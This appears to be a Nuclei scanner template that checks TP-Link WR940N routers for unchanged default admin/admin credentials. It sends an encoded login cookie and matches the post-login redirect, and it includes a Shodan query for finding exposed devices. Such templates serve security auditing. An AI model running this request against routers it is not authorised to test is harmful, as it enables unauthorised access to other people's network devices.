id: tplink-wR940n-default-login

info:
  name: TP-Link Wireless N Router WR940N - Default-Login
  author: ritikchaddha
  severity: high
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"/userRpm/"
  tags: tplink,wR940n,default-login,misconfig

variables:
  username: "admin"
  password: "admin"
  en_pass: "{{md5(password)}}"
  cookie: "{{base64(username + ':' + en_pass)}}"

http:
  - raw:
      - |
        GET /userRpm/LoginRpm.htm?Save=Save HTTP/1.1
        Host: {{Hostname}}
        Cookie: JS=true; Authorization=Basic {{cookie}}

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'location\.href(.*)\/([A-Z]+)\/userRpm\/Index\.htm";'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        part: header
        status:
          - 200
# digest: 4b0a00483046022100913e6998a42f92c41f708bf66449d0f3c7854397b97ea13d282b0df773697542022100fb9bb4dae0e87c6c9415be9d3cdc908718d054b2bf408491fe599f797fad4b08:922c64590222798bb761d5b6d8e72950